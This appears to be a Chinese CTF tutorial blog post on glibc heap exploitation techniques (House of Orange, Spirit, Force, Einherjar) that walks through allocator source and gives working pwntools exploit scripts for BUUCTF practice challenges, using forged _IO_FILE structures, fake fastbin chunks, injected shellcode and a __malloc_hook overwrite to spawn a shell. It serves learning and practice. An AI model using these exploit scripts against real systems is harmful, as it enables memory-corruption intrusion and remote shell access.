house of系列

该系列内容较多,将会持续更新

House of Roman

爆破概率太低,不建议使用,了解一下利用思路即可

House of Orange

版本 glibc-2.24及以下。

先介绍一下一个重点知识:如果在分配堆块时, top chunk 不够分配,那么根据申请的大小,会通过sysmalloc 来分配,如果申请的大小小于mmap的阀值的话,就会扩展top chunk,将old top chunk free掉,如果大于的话,就会通过mmap申请一块新的堆块。所以可以通过把 top chunk size 改小这种方式让 top chunk 进入unsorted bin 中,从而产生 libc 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))/*这里进行判断,判断分配的大小是否大于mmap分配的阀值,如果大于就是用mmap从新分配一个堆块,否则就会扩展top chunk*/
{
char *mm; /* return value from mmap call*/
try_mmap:

.........
..........
if (old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE);
set_head (chunk_at_offset (old_top, old_size),
(2 * SIZE_SZ) | PREV_INUSE);
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ),
(2 * SIZE_SZ) | PREV_INUSE);
/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);/*将old top chunk free掉,加入unsorted bin*/
}
}

house of orange 利用过程:

修改一个 unsorted chunk 的size字段为0x60,利用 unsorted bin attack 将 _IO_list_all 修改为 main_arena+0x58,而IO_list_all 中的 *chain 指针位于 _IO_list_all + 0x68 的位置:即main_arena + 0x58 + 0x68 是 small bin中大小为0x60的位置,所以需要将 chunk 的size修改为0x60,让该 chunk 链入 small bin 的相应位置上,在其上布置好伪造的 _IO_FILE_plus,那么就形成了一个伪造的 chain 链。伪造这些后,只要再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数

malloc_printerr:

1
2
3
4
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");

触发 malloc_printerr 后,会形成下列调用链:

1
2
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数

_IO_flush_all_lockp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

所以伪造的 _IO_FILE_plus 要通过下列检查:

1
2
3
4
5
6
7
1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

或者是
2.
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

例题

来自buu的题目,程序不存在 delete 函数,无法释放堆块,所以要用到前面的修改 top chunk size 的方法,从而得到 libc 地址。

image-20220313210805600

漏洞点在于 edit 函数,对于写入的个数没做严格的限制,可以写入大于申请堆块长度的内容,从而存在堆溢出。

image-20220313210907191

伪造 IO_FILE_plus 后的成果如下:

image-20220313170817299

image-20220313170916290

最终只能在本地getshell

image-20220313173210640

远程一直都是显示 dumped core

image-20220313173230192

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./house_of_orange")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
#libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn", 26547)
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(size, content):
p.sendlineafter(": ",'1')
p.recvuntil("Length of name :")
p.sendline(str(size))
p.recvuntil("Name :")
p.send(content)
p.recvuntil("Price of Orange:")
p.send(str(520))
p.recvuntil("Color of Orange:")
p.send(str(3))

def edit(content):
p.sendlineafter(": ",'3')
p.recvuntil("Length of name :")
p.sendline(str(len(content)))
p.recvuntil("Name:")
p.send(content)
p.recvuntil("Price of Orange:")
p.send(str(520))
p.recvuntil("Color of Orange:")
p.send(str(3))

def show():
p.sendlineafter(": ",'2')

add(0x30, 'a')
payload = 'a'*0x38 + p64(0x21) + 'a'*0x18 + p64(0xf81)
edit(payload)
add(0x1000, 'a')

add(0x400, 'a'*0x8)
show()
p.recvuntil("aaaaaaaa")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c5188
log.info("libc_base==>0x%x" %libc_base)
_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
sys = libc_base + libc.sym['system']
edit('a'*0x10)
show()
p.recvuntil("a"*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0xe0
log.info("heap_base==>0x%x" %heap_base)

vtable_addr = heap_base + 0x5e8
stream = "/bin/sh\x00" + p64(0x61)
stream += p64(0) + p64(_IO_list_all-0x10)
stream += p64(1) + p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0, "\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)
stream += p64(0)*2
stream += p64(sys)
payload = 'a'*0x400 + p64(0) + p64(0x21) + 'a'*0x10
payload += stream
edit(payload)
#p.sendlineafter(": ",'1')

p.interactive()

House of Spirit

技术来源:https://www.anquanke.com/post/id/85357

House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。

适用范围:到glibc-2.34依然可用

使用条件

(1)想要控制的目标区域的前段空间与后段空间都是可控的内存区域

一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们输入的数据是无法控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间,示意图如下

http://p7.qhimg.com/t01c4e1f8669a8b77bd.png

  • (2)存在可将堆变量指针覆盖为指向可控区域,即上一步中的区域

利用思路

(1)伪造堆块,在可控1及可控2(可控2的伪造size不能小于2*SIZE_SZ且不能大于已分配内存)构造好数据,将它伪造成一个fast chunk。

(2)覆盖堆指针指向上一步伪造的堆块。

(3)释放堆块,将伪造的堆块释放入fast bin里面。

(4)申请堆块,将刚刚释放的堆块申请出来,最终使得可以往目标区域中写入数据,实现目的。

第一步中的伪造堆块的过程,fastbin是一个单链表结构,遵循FIFO的规则,32位系统中fastbin的大小是在1664字节之间,64位是在32128字节之间。释放时会进行一些检查,所以需要对伪堆块中的数据进行构造,使其顺利的释放进到fastbin里面

注:fake_chunk的堆头标志位只能为0或者1(如0x70,0x71),其他两个标志位是会影响到堆块的释放的。

例题BUU-lctf2016pwn200

image-20210905204052044

常规checksec一下,保护基本没开。

image-20210905204120841

这里的输入存在漏洞,填满可以泄露出rsp上的值,获得栈上地址

http://p8.qhimg.com/t01eb7870c8fa4fde39.png

目标地址的构造为上图所示,在money中输入的是伪堆块的size,在id里输入的是下一个堆块的size,以此绕过free释放堆块时候系统的检查

image-20210905204549591

然后就是:

(1)覆盖堆指针,在输入money的时候,会覆盖堆块。

(2)调用free函数将伪堆块释放到fastbin中

(3)申请堆块,将刚刚的伪堆块申请出来

(4)输入数据,即可修改目标区域,eip,使其指向shellcode

image-20210905230703667

这是构造出来的fake_chunk,后面就是要把这块释放了,然后再申请回来,把0x400b34这个地址覆盖为shellcode,即可在退出程序时返回到shellcode去执行

image-20210905212358111

getshell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

context.log_level = 'debug'
# p = remote('node4.buuoj.cn',26770)
p = process('./pwn200')

free_got = 0x0000000000602018

shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

#gdb.attach(p)
#part one
payload = ''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))

shellcode_addr = rbp_addr - 0x50 # 20H + 30H
print "shellcode_addr: ", hex(shellcode_addr)
fake_addr = rbp_addr - 0x90 # offset 0x40 to shellcode, 0x400a29 return address


p.recvuntil('give me your id ~~?\n')
p.sendline('33') # id
p.recvuntil('give me money~\n')

#part two
#32bytes padding + prev_size + size + padding + fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41) # no strcpy
data = data.ljust(0x38, '\x00') + p64(fake_addr)
print data
p.send(data)

p.recvuntil('choice : ')
p.sendline('2') # free(fake_addr)

p.recvuntil('choice : ')
p.sendline('1') #malloc(fake_addr) #fake_addr

p.recvuntil('long?')
p.sendline('48')
p.recvline('48')

payload = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr

p.send(payload)

p.recvuntil('choice')
p.sendline('3')

p.interactive()

House of Force

来源:ctf.wiki

House Of Force 产生的原因在于 glibc 对 top chunk 的处理,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。

那么,当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案是,可以使得 top chunk指向我们期望的任何位置,这就相当于一次任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

这是top chunk在分配堆块时会执行的操作的源码,会对用户请求的size和 top chunk 现有的 size 进行验证,并且将会更新top chunk位置,以及size

我们主要关心的是对于size的验证:

1
(unsigned long) (size) >= (unsigned long) (nb + MINSIZE) //nb指我们申请的堆块大小

所以,设想一下:如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证。一般的做法是把 top chunk 的 size 改为-1,因为在进行比较时会把 size 转换成无符号数,因此 -1 也就是说unsigned long 中最大的数,所以无论如何都可以通过验证。

1
2
3
//glibc-2.29
if (__glibc_unlikely (size > av->system_mem))//0x21000
malloc_printerr ("malloc(): corrupted top size");

在glibc-2.29时增加了检查,size要小于等于system_mems,所以该方法在glibc-2.29以后失效了

利用条件

综合上面的背景,我们可以得出,要想利用House of Force,要有以下条件:

  • 能够以溢出等方式控制到 top chunk 的 size 域

    • 为了能将size修改为-1(0xFFFFFFFFFFFFFFFF)
  • 能够自由地控制堆分配尺寸的大小

    • 为了能够将top chunk抬升到我们想写入的地址附近,一般为hook,而这之间的偏移非常大

例题BUU-gyctf_2020_force

image-20210916151101226

常规checksec一下,64位保护全开

image-20210916153042695

image-20210916153101689

进入IDA,总共就两个功能:一个是申请堆块,堆块大小无限制,并且能返回给堆地址,然后填入内容是固定长度0x50;另外一个puts功能。。。屁用没有!因为存在固定长度的写入,那么只要申请一个小堆块就可以进行溢出修改top chunk的size位,所以House of Force的两个条件都达成了

image-20210916163309864

因为程序会返回堆的地址,程序又不限制堆块的大小,所以我们可以申请一个大于top chunk的堆块,那么程序就会调用mmap进行分配堆块,此时堆块的地址会是libc中的一个地址

image-20210916163532720

image-20210916205725583

image-20210916205619022

然后申请一个小于0x50的堆块,让堆块能进行溢出覆盖top chunk的size位,修改为-1(也就是0xFFFFFFFFFFFFFFFF),同时也借着这个堆块能获取到top chunk的地址。然后直接申请一个超大堆块,直接占满top chunk与__malloc_hook之间长度,然后再申请一个堆块去修改hook的为one_gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./gyctf_2020_force")
libc = ELF("./libc-2.23.so")
p = remote("node4.buuoj.cn",28894)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("2:puts\n",'1')
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("0x")
addr = int(p.recv(12),16)
p.recvuntil("content\n")
p.send(content)
return addr

def show(idx):
p.sendlineafter("2:puts\n",'2')
p.recvuntil("index:")
p.sendline(str(idx))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

libc_base = add(0x200000,'a') + 0x200ff0
log.info("libc_base==>0x%x" %libc_base)
mlh = libc_base + libc.sym['__malloc_hook']
ogg = libc_base + 0x4527a
realloc = libc_base + libc.sym['__libc_realloc']
top_chunk = add(0x18,'b'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)) + 0x10
log.info("top_chunk==>0x%x" %top_chunk)
offset = mlh - top_chunk
add(offset-0x33,'a')
add(0x10,'a'*0x8 + p64(ogg) + p64(realloc + 0x10))
p.sendlineafter("2:puts\n",'1')
p.recvuntil("size\n")
p.sendline(str(0x10))

p.interactive()

House Of Einherjar

其实看完wiki,感觉就是 offbyone&null 的利用方式,借着溢出修改下一个堆块的in_use位置,然后造成unlink制造出堆块重叠,所以就不过多介绍了,看我的 offbyone&null 这篇博客是一样的,而且我还更新了新版本的利用,当然,是来自大佬的,我只是个搬运工👶

过程:

  • 需要有溢出漏洞可以修改物理相邻的高地址的 prev_size 与 INUSE 部分。
  • 在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。
查看评论